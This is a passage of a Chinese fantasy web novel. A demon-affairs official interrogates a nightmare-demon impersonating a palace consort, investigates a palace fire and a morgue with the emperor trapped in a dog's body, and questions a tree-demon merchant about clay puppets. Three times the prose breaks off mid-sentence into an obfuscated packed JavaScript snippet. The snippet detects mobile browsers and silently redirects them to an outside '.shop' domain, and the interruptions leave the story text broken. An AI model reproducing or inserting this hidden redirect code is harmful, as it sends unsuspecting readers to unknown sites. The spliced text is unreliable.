奚萦不想搭理这些瞎话,只闭着眼睛点点头,总算将这话痨蛇打发走了,她又对留下伺候的宫女道:“你们也下去吧,寝殿中有人的话本宫睡不安稳。” 这本是不合规矩的,但莫说是这长夏宫中了,如今整个后宫就属“沈嫔”位份最高,金内侍走之前也反复叮嘱她们照顾好这位娘娘,于是两个宫女对视一眼,恭敬退下了,只在外间留下一个小太监守门,一个宫女看灯。 等人都离开后,奚萦做贼似的爬起来,先布下一个足以笼罩整座寝殿的隔音结界,再将禁制修补好,然后端了盏凉茶回到床上,放下帐幔,再从枕头底下摸出一根拇指大小、两寸来长的干树枝,啪嗒一下扔进茶盏。 原本黑不溜秋的干树枝被茶水一泡,竟像是枯木逢春一般,开始冒出嫩绿的枝丫,长出眼睛嘴巴,眨眼之间,枝丫长出寸许长,攀上茶盏边缘,用力一撑,带着整根树枝都从水中半坐起来,呼哧呼哧地喘粗气。 奚萦伸出两根手指拈起树枝,毫不留情地摁回茶水里狠狠涮了几下。 树枝一边咕嘟咕嘟吐泡泡一边求饶:“呃,饶、饶命啊,呃呃呃呃……女侠,呃呃,大人,呃,娘娘,嗝,沈姐姐,饶命……” 听到“沈姐姐”这个称呼,奚萦冷哼一声,总算大发慈悲将这小东西从茶水中拎起来,动作粗鲁地往帐子上擦了几下,嗤笑道:“哟,被你发现啦,知道得太多可就活不长了……” 小树枝,或者说“许美人”闻言哆嗦了一下,颤声道:“沈姐姐饶命,妹妹发誓绝不会泄露姐姐身份,若有违此誓,必遭天打雷劈不得好死!沈姐姐您人美心善,就饶妹妹这一次吧!” 奚萦弹了弹“许美人”的木头脑袋,哼道:“少废话,老实交代,你究竟是什么妖物,冒充许美人入宫又有何目的?” “许美人”一脸老实:“妹妹我乃是魇魔,借用许美人的身体入宫是为了替朋友完成心愿,绝不会干坏事的,妹妹我真的是好魔啊!” 奚萦听得一头雾水:“魇魔?你竟是魔物?为何我没察觉到你身上有魔气?你朋友又是谁,要完成什么心愿?” “魔气?魔气是什么?寄心说我是她的梦魇、心魔,简称魇魔,不知道跟姐姐说的魔物是不是同一种。哦,寄心就是我朋友,她是一只赤狐,她的心愿是将皇帝迷得神魂颠倒,成为祸国殃民的绝代妖妃,可惜她进宫没多久就死了,她的心愿,也只能由我替她完成了……” 寄心,这个名字奚萦知道,正是妖族失踪案中赤狐的名字,她沉默片刻,从储物袋中找出那半枚双鱼纹样的羊脂玉佩递到魇魔面前:“认识这东西吗?” 魇魔惊讶道:“认识认识!这是寄心的玉佩,是我当初去妖务司报案的时候留下的物证!姐姐您,您是妖务司的大人吗?” 奚萦点点头,将玉佩收起,继续问道:“你半年前向妖务司报案时说寄心是失踪了,如今为何又说她已经死了?她是怎么死的?” 魇魔的语气顿时带上几分哽咽:“报案的时候她确实只是失踪,可没过多久她就死了,我是她的梦魇所化,当然能感应到她的生死,但是具体死因为何,这我是感应不到的,我只知道她有遗愿未了,走得并不甘心,所以我想替她完成遗愿。” 奚萦一时不知道该说什么好,她早就猜测失踪的妖族很可能已经遇害,如今赤狐寄心之死被证实,虽然在意料之中,但还是让她有些挫败。 至于梦魇化形这种事,的确十分罕见,不过妖怪的世界本就千奇百怪,她只惊讶了一瞬便接受了,这东西无形无质,非妖非鬼非魔,的确很像是虚无缥缈的梦魇。 沉默片刻后,奚萦又问:“那许美人是怎么回事?你杀了她,占了她的身体?” 魇魔闻言,四条嫩嫩的枝丫齐齐摆动,慌忙否认道:“没有,我绝对没有杀人!姐姐您可千万别误会,虽然我又是魇又是魔的,听上去不像什么好东西,可我真不是坏蛋啊,寄心说了不能随便杀人杀妖,我一直很听话的!那个许美人本就是个死人,我不过是看她长得漂亮,又刚好要入宫,就借用了一下她的身体而已。包括那个姓张的侍卫,我也没杀他啊,姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232555|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐您一定要相信我!” 奚萦秀眉微挑,语调拖长:“是吗?为了迷惑圣心、祸国殃民而进宫的魇魔,原来竟还是个善良的好魔?” 魇魔都快哭了,磕磕巴巴解释道:“真、真的!那个许美人她,她真的早就死了啊!魂魄被打散了,身体被制成了傀儡,死得透透的,我顶多算是捡了个无主的壳子。对了,那个叫银霜的宫女肯定知道,她每天晚上都趁没人的时候给许美人的身体抹药养护,还操控许美人去接近皇帝,当然,我自己也想接近皇帝……” 奚萦不置可否,继续问道:“你还没能替寄心完成遗愿,为何又要舍弃许美人这具身体?” 听到这话,魇魔的干树皮脸不由浮上几分怒意,四条枝丫舞得更起劲了:“还不是因为那皇帝根本不喜欢女人啊!许美人这么漂亮,他竟然连见都不愿意见一面,反而对身边的俊美侍卫体贴关怀,那我只好换个身份嘛,能迷惑圣心的又不只是后宫嫔妃,什么分桃断袖、龙阳之好,说的都是男宠啊!” 好有道理! 奚萦完全无法反驳,半晌后才道:“你倒是,思路很开阔啊……” 魇魔当这是夸奖了,洋洋得意道:“那是,寄心那笨蛋就是太死心眼了,听信了那什么仙师的鬼话,认定狐族成仙之道在于攫取天子气运,要我说啊,掘了帝陵不就彻底将天子的气运攫取过来了吗,非得这么迂回,搞妖妃祸国那一套,麻烦死了!” 太有道理了! 奚萦心中暗自感慨,得亏寄心是个死心眼的狐狸啊,不然皇帝的祖坟都得让这货给掘了。 “所以你夺了那侍卫的身体,也是为了接近皇帝?夺他气运?怎么夺?” 魇魔点头道:“对啊!仙师说阴阳交|合之时,上位者可夺下位者气运,想必阳阳交|合也是一样的道理,那张姓侍卫生得矫健勇猛,必定是个上位者,可惜了,要不是为了帮姐姐洗脱谋害许美人的嫌疑,我也不会这么快就暴露。” 奚萦觉得自己耳朵脏了。 听听这都是些什么鬼话!上位者下位者是这么个用法吗?气运是能这么夺取的吗?这魇魔怕不是脑子有问题! 几次张嘴又闭上,奚萦最终选择无视脏耳朵的那部分鬼扯之言,直接问重点:“仙师又是谁?寄心是听信了这个仙师的话才进宫的?她以什么身份进宫的?” “仙师是天道宗的仙师,我也没见过,但听寄心提过,好像是很厉害的家伙,知道怎么成仙,寄心也很相信他,我也不知道寄心是以什么身份进宫的,她把我从她的灵台中剥离出来养在狐狸洞中,留了半枚玉佩,就是您刚才拿出来的那个,说是日后凭借此物相认,她带我成仙上天,然后她就自个儿跑了。一开始我还能通过神魂感应到她,后来忽然就感应不到了,我只好去妖务司报案,再后来,我知道她已经不在人世,便想办法占了许美人的壳子,进宫来替她完成遗愿了。” 奚萦疑惑:“天道宗?这是什么宗门?” 魇魔一脸茫然:“我也不知道呀,寄心只提过一回,根本不愿意多说,哼,这小气鬼,肯定是怕我抢了她成仙的机缘!” 奚萦幽幽道:“成仙的机缘?成阴曹地府的仙吗?” 魇魔顿时尴尬,支支吾吾说不出话来。 问题问得差不多了,奚萦懒得再跟这家伙废话,将干树枝往床头花瓶中一塞,去侧间书房写信了。 得安排人手调查天道宗和许美人这两条线索,可是安排谁去呢? 妖务司那几个老家伙为了阻止她通过继任司主的考验,只允许她带发财和孙胡两个小妖,负责情报收集的度朔堂被鹤老头掌控,这家伙本就对她包庇发财之事不满,绝对不可能帮她查案的,孽镜堂的日及老牛更是恨她恨得牙痒痒,巴不得她早日滚出妖务司。 思来想去,只剩无损堂的封狐狸能用一用了,可是这骚狐狸吧,唉…… 纠结半晌,奚萦还是落笔写下了“天上地下举世无双第一美男子封峻亲启”几个字。 18. 真是令人生气的一天 奚萦抓耳挠腮半个时辰,耗尽毕生文采,总算写完了这封情真意切的求助信,搁下笔时,她不禁如释重负般长长吐了口气,随即将信纸折成仙鹤模样,送了出去。 送完信回到床上,她正要打坐入定顺便整理思绪时,一旁的花瓶中传来咕嘟咕嘟的吐泡泡声。 奚萦原本不想理会的,但这咕嘟声没完没了实在恼人,她只得起身将那玩意儿捞出来,甩甩水扔到茶几上,冷声威胁道:“多大个魔了还吐泡泡玩,再闹腾信不信我把你丢泔水桶里泡着去?” 趴在茶几上的木头小人儿大口喘粗气,哭道:“冤、冤枉啊,妹妹我真的差点被淹死,绝对、绝对不是在玩儿呜呜呜……” 奚萦翻了个白眼,废物东西,就这还幻想着迷惑圣心颠覆江山?她不耐烦道:“你占据凡人肉身,意图窃取国运,按妖务司律令,当废去百年修为,入圜狱山服劳役三百年——” 她话还没说完,喘气声儿倏然消失,惊天动的一声哀嚎在耳边炸响:“不要啊!!沈姐姐,好姐姐,妹妹冤枉啊!我就是在路边捡了具傀儡,在宫里瞎混了一段时间,连皇帝的面都没见着,罪不至此啊!何况妹妹我化形不到一年,哪有百年修为可废的,姐姐饶命啊,您是个大好人,就饶了妹妹这一回吧……” 奚萦揉揉耳朵,什么废去修为服劳役,都是她瞎编的,这傻蛋还真好骗,见小木头人哭得直哆嗦,她清了清嗓子,放软了语气哄道:“当然了,你我相识一场,我也知道你并非歹毒之辈,这样吧,我给你一个赎罪的机会,你乖乖听话帮我办事,如何?” 魇魔连忙点头:“好好好,我都听姐姐的,姐姐让我干什么我就干什么!” “也不是什么难事,我有事外出的时候,你扮成‘沈嫔’乖乖待在长夏宫里,或是出去帮我打探点消息,简单得很。” 魇魔的语气立马兴奋起来:“没问题!我最擅长假扮别人了!我还可以帮姐姐勾引皇帝,保管把他迷得神魂颠倒!” 奚萦忍不住又翻了个白眼:“就你?进宫这么久连皇帝的面都没见到,也好意思吹这种牛。行了,别做多余的事,沈嫔的身份还有用,要是敢给我搞砸了,你就等着去圜狱山挖一辈子矿吧。” 魇魔缩了缩脖子,嗫嚅道:“我,我可以的,皇帝就是喜欢姐姐这种类型的,我都看出来了……” 奚萦懒得理她,现折了个纸人,将寄魂木中的魇魔抓出来附到纸人身上,又以灵力描补一番,很快,弱风扶柳般的病美人沈嫔就成形了。 暗赞了一声自己手艺真不错,奚萦拎着纸人沈嫔丢到床上,恐吓道:“躺在床上装病,哪儿也不准去,敢乱来的话,哼,我保证你今晚就能挖上矿。” 魇魔哭唧唧地点头,纸人身体上绘制了禁锢魂魄的符咒,她就算想乱来也不敢啊!虽然她真的很想去勾搭一下皇帝…… 算了算了,挖矿什么的,虽然她没挖过,但听上去就很恐怖,她这般柔弱美丽的魔物,怎能去挖矿! 安排好替身后,奚萦快速找出一身备用的太监衣服换上,趁着天色还未大亮,她避开宫人溜出了长夏宫,径直往慎刑司去。 魇魔说许美人的宫女银霜有问题,她得尽快去查证一下。 然而刚出长夏宫没多久,奚萦就看到朝露殿所在的方向浓烟滚滚,闷热的空气中夹杂着呛人的焦臭味儿,飘得满宫都是。 她心中顿时升起不好的预感,想也不想便调转方向往朝露殿去。 然而当她赶到朝露殿外时,却只看到半座坍塌的焦黑宫殿,宫人侍卫们有的合力架起水龙浇向未熄的火焰,有的提着水桶水盆扑灭残存的火星,有的抬着担架往外运送已经分辨不出形状的焦尸,现场人来人往呼喝声不断,没人注意到僵在角落的蓝衣小太监。 宫门外空地上摆着三具焦尸,后来又陆续抬出来四副担架,奚萦在心中默算了一下,她昨夜打晕了三个太监三个宫女,加上许美人的尸身,总共七人,都在这里了。 懊悔和自责刺得奚萦眼睛酸痛,这六个人无辜枉死,皆是因她疏忽大意所致。 “这妖务司上下,谁不是看在你师父的面子上才让你三分,你莫非真以为自己天下无敌了?” “妖务司的存在,既是为了维护妖界的秩序,也是为了保护孱弱的凡人,萦萦,别仗着自己那点修为便横行无忌,当好这司主不是光会打架就行的,尤其是处理人间之事,一定要谨慎知道吗?” “要不是因为你,司主怎么会死!” 奚萦闭了闭眼,努力屏蔽掉脑海中叫嚣的杂音,转身就走,快速往慎刑司跑去。 银霜也是重要的线索之一,且慎刑司中被她放倒的人更多,千万不能再出事了。 此时慎刑司中也是人来人往络绎不绝,好在并非是走水或遇袭的缘故,先前奚萦跟魇魔一场大战,为尽快清场擒住那家伙,她用惑心铃将闲杂人等尽数震晕,这般大手笔自是落在了景辰眼中,他早就让禁军统领吴云晖安排人暂时接管了慎刑司,故而并未发生乱中走水之类的大事故。 奚萦赶到时,见慎刑司好端端的,不由得松了口气。 此时天已经亮了,慎刑司中进出的太监和军士不少,可前后两处大门都被禁军牢牢把守着,每个进出的人都要核对腰牌和样貌,这青天白日的,想混进去实在不容易。 奚萦藏在慎刑司后门斜对面的宫墙背后,略犹豫了片刻,决定还是故技重施,弄个小纸人混进去,顺便确认一下孙胡的情况。 然而纸人还没弄好,就看到两个太监抬着一副担架从后门出来,担架上蒙着一层白布,隐约可以看见白布底下有个身形瘦弱的人躺着,更奇怪的是,原本查得极严的守门兵士竟没有掀开白布确认身份便挥手放行了。 事出反常必有妖,奚萦几乎立即反应过来这担架上抬的很可能便是银霜。 她盯着那两个太监不急不慌地抬着担架离开慎刑司,沿着夹道一路往南,看样子是要去恩济庄。 恩济庄离慎刑司不远,宫人亡故后都暂时停灵于此,等待亲眷前来认领尸身,若尸身无人认领,则会统一拉去城外乱葬岗。 奚萦跟在两个小太监身后,果然一路进了恩济庄大门,且一进门便直接落了锁,摆明了不干好事。 恩济庄地处偏僻,又不是什么好去处,就算白日里大家也都尽量绕着这片地方走,如此倒是方便了奚萦,她绕着低矮的围墙走了一圈,将灵石分别放在八个方位上,最后绕回正门处,抬手往门头上塞了个阵盘,禁锢阵法瞬间启动,封死了整座恩济庄。 再布下隔音结界,隔绝此间异动,如此万事俱备,奚萦轻巧一跃,翻进了恩济庄。 皇家的义庄同别处也无甚区别,内里都是破败荒凉带着点阴森森的感觉,奚萦是个敢在乱葬岗召鬼玩的主儿,自是不会怕义庄之类的地方,可刚一踏进此间,她却忍不住打了个寒战。 这地方竟是般丝活气也没有。 那两个抬担架的小太监呢?守庄子的宫人呢? 奚萦心里泛起了不好的预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232556|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感,她闪身掠入停放尸体的堂屋,然而空荡荡的屋中只剩一具铺着白布的担架孤零零扔在地上,没有尸体,也没有小太监。 一股无名火顿时蹿上心头,奚萦气得扯了扯嘴角,呵,竟敢当着她的面弄鬼,那就别怪她下死手了。 她当即素手一翻,青光乍现,一柄短剑凭空浮现,她抓住剑柄,用力往铺了青砖的地上一刺,只见那青玉短剑如砍瓜切菜般破开地砖没入地下,而随着剑的消失,一股浩如江海的灵力激荡开来,瞬间扫过整座恩济庄。 灵力所过之处,无论是躲在石头缝中的小蚂蚁,还是埋在土里的蚯蚓蛐蛐,亦或是缩在老鼠洞狗洞里的各种蛇虫鼠蚁,但凡能动弹的玩意儿,瞬间被浩瀚的灵力震得死翘翘了。 当此间真正成为死地之时,某些藏得极深的动静便再也逃不过奚萦的感知,她左右无名指微微蜷了一下,青玉短剑瞬间回到手中,伴随一声暴喝,又被她毫不犹豫地扔向身后门槛下方的一处鼠洞中。 “富贵儿!给我抓住那玩意儿!” * 景辰折腾了一晚上却一无所获,气哼哼回到蓬莱宫,躺到又软又宽敞的龙床上时,仍觉得有些肝儿疼。 他没料到的是,更气的还在后头。 闭上眼没多久,外面守夜的小太监慌慌张张来报,朝露殿走水了。 景辰捂着一阵阵发闷的胸口爬起来下达指示,务必尽快灭火救人,抢出许美人的遗体。 可惜雍都已经将近一个月未下一滴雨,燥得泥地都能点着,这场火来势汹汹,最终扑灭时,朝露殿没了,许美人的遗体没了,几个守殿的宫人也全没了。 景辰想到昨夜离开朝露殿时竟完全没管那几个昏迷的宫人,心中难免升起几分自责,对许美人更是有愧,好好一个姑娘送进宫来,不到两个月便死于非命,如今更是尸骨无存,他纵然不喜这女子,也不可能做到无动于衷。 就这样拖着一堆烂摊子上朝,景辰心情极差,而朝中这些老家伙们仍旧一如既往地特别会惹他生气。 先是御史洪渐跳出来参羽林卫统领张谦玩忽职守导致宫妃溺亡,接着便是礼部侍郎赵崇义见缝插针说这都是因为后宫无主造成的,恳请陛下早日立后,再然后又是惠郡王那老侄子哼哼唧唧说些大雍无后社稷不稳之类的老调调,最后又来个张御史谏言恳请皇帝尽早选秀以充后宫。 差不多的班底,差不多的说辞,他生病前便三不五时地在朝堂上演一场,本以为上次早朝发过火这些老家伙能消停点,结果一瞅准机会便又来了,景辰气得眼前一阵阵发黑,也不讲究砸茶盏的优雅了,他直接掀翻御案上的一堆奏折,眉一竖眼一瞪,伸手指着说得唾沫横飞的张御史,怒骂道:“你个——” 后面的脏话还没骂出口,一声暴喝骤然贴着他耳膜响起。 “富贵儿!给我抓住那玩意儿!” 景辰被吼得倒吸一口凉气,眼一翻脚一蹬,直挺挺晕了过去。 再睁眼时,三只灰不溜秋的老鼠贴着他的鼻尖蹿了出去,还没反应过来发生了何事,那比魔鬼还可怕的女人又是一脚踹在他屁股上,气急败坏嚷道:“别发愣!赶紧去帮我抓住那三只死耗子!” 景辰气得差点哭出来。 他堂堂天子,大雍皇帝,前一刻还神气十足地在金銮殿上怒骂朝臣,下一刻就得被人踢着屁股撵去抓老鼠? 而且而且,他不是狗吗,这丧心病狂的女人竟逼着狗去抓老鼠? 艹,狗怎么你了?!狗怎么你了! 19. 富贵儿公主生气了,得哄一哄 心里骂着娘,腿却很老实地飞快倒腾起来,也或许是怕屁股上再挨一脚吧,总之,景辰莫名其妙开始抓老鼠了。 老鼠总共三只,分别往三个方向跑,奚萦掷出青玉短剑刺中了一只,此时正往院子里追另一只,还有一只在堂屋里乱窜,专往桌子底下、陈列架背后之类的犄角旮旯里钻,这就是景辰的目标了。 景辰的狗身是条半大小狗,跟成年的猫差不多大小,又刚学会轻身术,抓老鼠虽不是天性本能,但认真起来也是手到擒来的,三两下就把这只巴掌大小的灰毛鼠按在了桌腿旁,他连忙叫奚萦:“快来把你的老鼠拿走!” 叫了好几声才听到院子里的奚萦不耐烦地答道:“抓到了就叼出来给我呀,你瞎叫唤什么呢。” 景辰气得大骂:“刁民!悍妇!疯女人!竟敢让朕用嘴叼老鼠!你做梦去吧!” 骂了半天也不见奚萦有什么动静,他泄气地闭了嘴,低头去看爪下的老鼠,这玩意儿一动不动,莫非是死了? 他想把老鼠拎起来看看,但狗爪子不够灵活,薅了几下都不行,景辰生气,再想到自己这双天底下最尊贵的手竟然碰了死老鼠,哦不止呢,之前还碰过鬼,碰过尸体,老天爷啊,他脏了…… 越想越气,景辰再次骂骂咧咧起来,好在这回没骂几句就得到回应了。 奚萦一手拎一只老鼠走进堂屋,看到自家狗子按着老鼠哀嚎个没完,无语叹气,伸手把他爪下那只老鼠也拎起来,三只放一起,故意凑到狗子面前晃荡:“我说富贵儿公主,你主子我抓两只,你就抓一只,让你叼过来也不叼,还委屈上了,可真行啊!” 景辰的嘴差点亲上死老鼠,吓得连滚带爬缩到墙角,骂人的词也用完了,他一时语塞,只得红着眼睛哼了两声,扭过头不搭理奚萦。 奚萦看出来了,这狗就是个死洁癖,她只好解释:“这不是真老鼠,几只傀儡而已,没毒,也不臭。” 景辰闻言心里好受了点,转头去看奚萦手里晃荡着的三只老鼠,疑惑道:“傀儡?做什么用的?” 他环顾四周,发现这间空屋子极宽敞,三面靠墙摆放着七八个巨大的两层木架子,中间两张矮桌,除此之外没有别的家具物什,古里古怪的,于是又问:“这是哪儿?你在这里抓老鼠做什么?” 问完又觉得自己白费力气,他说不了人话,那悍妇听不懂狗语,定然又要胡说八道一通,于是他将头转回去,继续用后脑勺对着奚萦,以肢体语言表达自己的愤怒。 奚萦正拿着老鼠傀儡研究,这玩意儿确实古怪,说是傀儡吧,居然能变化形态,说是妖吧,一入手就成了死物。 摆弄半晌也没发现别的异常,她只好先把老鼠收起来,打算拿去妖市找人看看,那个万宝楼的巫老板神神秘秘的,或许知道些什么,正好还能再探一探她跟皇帝之间的关系。 打定主意准备走了,奚萦这才发现自家狗子正面壁生闷气,她有些好笑地蹲到他身旁,伸手戳戳狗尾巴,惹得景辰恼怒不已,收起尾巴紧紧抱住,狠狠瞪了她一眼又继续面壁。 奚萦笑道:“富贵儿公主,来跟司主大人说说,您这又是生的哪门子气呢?” 平白无故被降了辈分改了性别的景辰哼哼两声,不想跟这人说话,又想到这几天受的委屈,顿时有点鼻酸眼热,这下更不想说话了,他索性就地一趴,脑袋抵着墙,下巴搁在木架子上,装死。 却听身后奚萦语气古怪道:“你知道这架子是用来放什么的吗?没闻到臭味儿吗?” 景辰耳朵竖了竖,警觉起来,这架子挺干净的啊,至于臭味儿,他是有闻到一点,但跟昨晚闻过的腐尸味儿比起来,这点味道实在不算什么,何况臭味中还夹杂着一点药草味,勉强在他能接受的范围内,只是这臭味有点熟悉啊…… “嗷——” 待反应过来这臭味为何熟悉,景辰惨叫一声,身子底下装了弹簧似的原地弹起,被身后的奚萦一把捞进怀里。 “哈哈哈哈你想起来了吧,是尸臭味儿,这里是恩济庄,停放尸体的地方,喏,就是放在你刚刚趴的那个架子上。” 奚萦一边大笑一边撸狗头,而景辰这回是真被气哭了。 他到底造了什么孽啊,这一天天的不是腐尸就是义庄,不是鬼就是死老鼠的,就算是条野狗也不至于遭这些罪吧,何况他还是条会飞的神狗,啊呸,他是皇帝,他是皇帝啊! 景辰哭得太大声,奚萦也不好就这么带着他出去,只能往门槛上一坐,一边给委屈小狗顺毛一边哄道:“你至于吗,那架子上又没真的放尸体,躺一下还能掉块肉不成?我都还没跟你计较昨晚临阵脱逃的事呢,你还委屈上了?唉,算了算了,司主我大人有大量,不跟小狗计较,待会儿到妖市给你买根骨头啃啃怎么样?” 谁特么要啃骨头了?景辰不想理她,可头顶的毛被人温柔地一下下捋顺,心里的气好像也一点点在消散,他埋下头眨眨眼,继续吸着鼻子不吭声。 奚萦叹气,这狗还挺难哄的,她只得换个条件:“那要不要看百戏?听小曲儿?游船?泡温泉?或者养只小母狗陪你玩儿?” 越说越离谱,景辰气得伸爪去捂那张没遮没拦的破嘴。 奚萦大笑起来:“好吧好吧,咱们富贵儿还是个啥也不懂的小崽子呢,家里有一条狗就够了哈哈哈……” 笑完又觉得生气的小狗实在有点可爱,于是顺手捞过狗爪亲了一下,结果惹得景辰大叫,一人一狗顿时闹腾起来。 闹了好一阵,景辰的气也消得差不多了,眼圈还有点红,但总算愿意搭理奚萦了,至于回自己身体的事,他也不着急,最好晕个一天半天的,吓一吓那帮老东西,看他们以后还敢不敢唠叨个没完。 于是景辰问奚萦:“要去妖市吗?妖市在哪儿?” 奚萦随便回答:“去找万宝楼的巫老板问点事,顺便给你买点东西。” 景辰闭嘴了,他就多余跟这女人废话,至于给自己买东西,哼,多半又要坑他了。 奚萦撤掉隔音结界,又绕着院子把布阵用的灵石都捡回来,收起阵盘,将景辰藏在袖中,先去慎刑司外,控制小纸人偷溜进去确认了孙胡的安危,这才带着狗翻墙出宫。 一路跟着奚萦如入无人之境般进进出出,景辰不由得感慨,这皇宫还真是个大漏勺,什么妖魔鬼怪都能随便混进混出的。 当然,这番感慨若被奚萦知道的话,定要指责他狗眼看人低,司主大人是何方神圣,那是整个妖界都闻风丧胆的可怕存在好吧,一个破皇宫还能拦住她? 后来景辰就没有多余的心思东想西想了,无他,这妖市实在神奇得很啊! 光是进入妖市的路就让他啧啧称奇,化仙池作为雍都一景,每年端午的龙舟赛都是在这里举行,平日里更是游人如织,景辰也来过好几次,可他从不知道往池水中扔块石头就能砸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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景辰这几天也算是涨了不少见识,但真正近距离面对一个妖怪还是让他感觉微微有些不适,他很快低头,没有跟巫老板对视,因此也错过了那双暗金色眸子中一闪而过的复杂情绪。 奚萦也没察觉到巫老板的异常,她笑着打招呼:“巫老板别来无恙?今日来万宝楼有要事请教,还望巫老板不吝告知。” 巫心柏露出生意人的招牌笑容,落座后对奚萦道:“封长老客气了,妾身定然知无不言。” 奚萦也不废话,直接从储物袋中掏出那三只老鼠放到面前茶几上,示意巫心柏查看:“麻烦巫老板帮我看看这东西可是傀儡,可有何异常之处。” 巫心柏伸手拨弄了两下,又拎着老鼠尾巴翻来覆去地查看,眉头越皱越紧,半晌后咦了一声,直接捏住鼠头用力一挤,啪嗒一下,墨黑色的老鼠眼睛被挤了出来,落入她素白的手心。 对面的景辰忽然看到徒手挤鼠眼这一幕,差点当场吐出来,不等他叫出声,巫心柏忽然幽幽道:“这的确是傀儡,女娲泥做的傀儡。” 奚萦不解:“女娲泥?” 巫心柏深吸一口气,指尖朝掌中的老鼠眼珠捻去,瞬间将那颗绿豆大小的眼珠捻成了碎末,奚萦和景辰耳边同时响起细碎痛苦的尖叫声,很快又消失不见。 “女娲造人的传说听过吧?我们妖族得道后化形,也是化作人形,某种意义上来说,也可以算是人的一种,所以这世间的人形物种,就有凡人和妖两种,女娲泥便是取凡人和妖的血肉、魂魄各一半,混在一起,细细捣碎成泥,再像女娲造人那般,将这泥捏成傀儡,这种傀儡身魂一体,比尸体或死物炼制的傀儡高明了不知道多少,且千变万化具有灵智,好用得很呢。” 听完这番话,奚萦和景辰齐齐打了个寒战。 20. 给陛下买条裤衩子吧 奚萦被恶心得半晌说不出话来,景辰看看桌上的傀儡老鼠,再看看自己这双抓过老鼠的爪子,浑身毛都炸开了,连忙将爪子摁在面前的桌布上狠狠地搓了起来。 巫心柏倒是淡定,轻轻一弹指,掸落指尖残留的碎屑,语气变得严肃:“这东西,封长老是如何得来的?” 奚萦抬眸看去,巫老板那张精致清冷的脸上没有生意人招牌笑容后,显得有些难以亲近,或许这才是柏树妖的真实面目? 这种感觉一闪而逝,奚萦沉声道:“在宫里发现的。” 她没有说得太详细,一是对巫老板的身份目的和立场仍旧存疑,二是想借此试探一下对方的反应。 果然,巫心柏眉头一皱,嘴角紧抿着,脸色变得很难看,片刻后,她似是下定了某种决心一般微微吐出口气,对奚萦道:“封长老能否告知妾身,入宫究竟所为何事?” 奚萦入宫调查妖族失踪之事并非什么不可告人的秘密,何况上次都把失踪名单给巫心柏看过了,她不可能猜不到,何必再问?但奚萦还是答道:“为了调查这些年妖族无故失踪之事。” 巫心柏闻言嘴角微勾,露出一抹略带嘲讽的笑意:“妖务司竟还会干这种吃力不讨好的事?” 奚萦挑眉,哟,这是本性暴露,竟然不怕封长老查账罚款了?作为司主,她必然是要维护妖务司的权威和尊严,遂板起脸肃然道:“维护妖界秩序是妖务司职责所在,有人暗中残害妖族,妖务司定当查清,不存在什么讨好不讨好之说。” 巫心柏轻笑:“大量妖族无故失踪早已不是什么新鲜事,司主大人早不查晚不查,这时候忽然派人来查?” 妖务司司主换人的事尚未公开,这话分明是在指责上一任司主无念不作为,奚萦顿时冷下脸,不耐烦地曲指敲了敲桌面,语气平平:“司主已责令肃查此案,巫老板身为妖族,当全力配合才是。” 巫心柏语声极轻:“是是是,妾身当然全力配合啦,封长老您尽管问,妾身定然知无不言。” 奚萦其实最不耐烦打这些口头官司,若是可以的话,她恨不得直接将这柏树妖捆了塞几颗诚实丹,把她肚子那些小秘密全抖落出来,但谁让她现在是遵纪守法公正善良的司主大人呢,对这种有点本事的大妖怪还是不好直接来硬的啊。 但不能来硬的不代表她就得一直绕圈子,于是奚萦直接问:“巫老板还是说清楚,你跟皇帝之间到底是什么关系,为何要暗中出手相护,对于妖族失踪之事又知道多少,还有这女娲泥的来历——” 见对面的巫心柏仍旧一副油盐不进的模样,奚萦语气陡然转冷:“少跟我扯什么龙涎香之类的鬼话,若不说清楚,那我只能认定你不怀好意,跟皇帝勾结猎杀妖族图谋不轨,现在就可以将你打入孽镜堂大狱好好醒醒脑子!” 被威胁的巫心柏还没什么反应,一旁的景辰已经彻底懵了。 这个皇帝,莫非指的是当今大雍天子,年号熙和,姓景名辰的,他本人?还有什么巫老板,暗中出手保护过他?他们认识吗?他什么时候又猎杀妖族了?他有这么大本事的话,至于被疯女人欺负成这样吗?! 莫名其妙成了妖族失踪案嫌疑人的皇帝陛下此时因为无法说人话而不能替自己辩白,只能瞪圆了眼睛死死盯着奚萦和巫心柏两人,看谁敢当着他的面给他扣黑锅,他可是要咬人的! 巫心柏看到景辰竖起耳朵瞪着眼的模样,眼中闪过一丝笑意,语气和缓了不少:“哎,封长老何必这么凶神恶煞的,妾身可是老实本分的生意人,既没胆子也没能力去掺和猎杀妖族这等大事啊!至于跟小皇帝的关系嘛,确实是有点渊源,他家长辈有恩于妾身,妾身护他一二只为报恩,再没有别的事了。” 奚萦抱臂冷冷看着对面一脸无辜的女人,并不言语。 景辰也一脸探究地看着巫心柏,想问点什么又问不了。 两人一狗都不说话,气氛有点僵硬。 半晌后,还是巫心柏继续开口补充:“妖族失踪的案子,妾身确实没有别的线索能提供了,但有一点可以保证,此事定然不是小皇帝所为,封长老若是怀疑皇族中人参与此事的话,不妨查一查别人。” 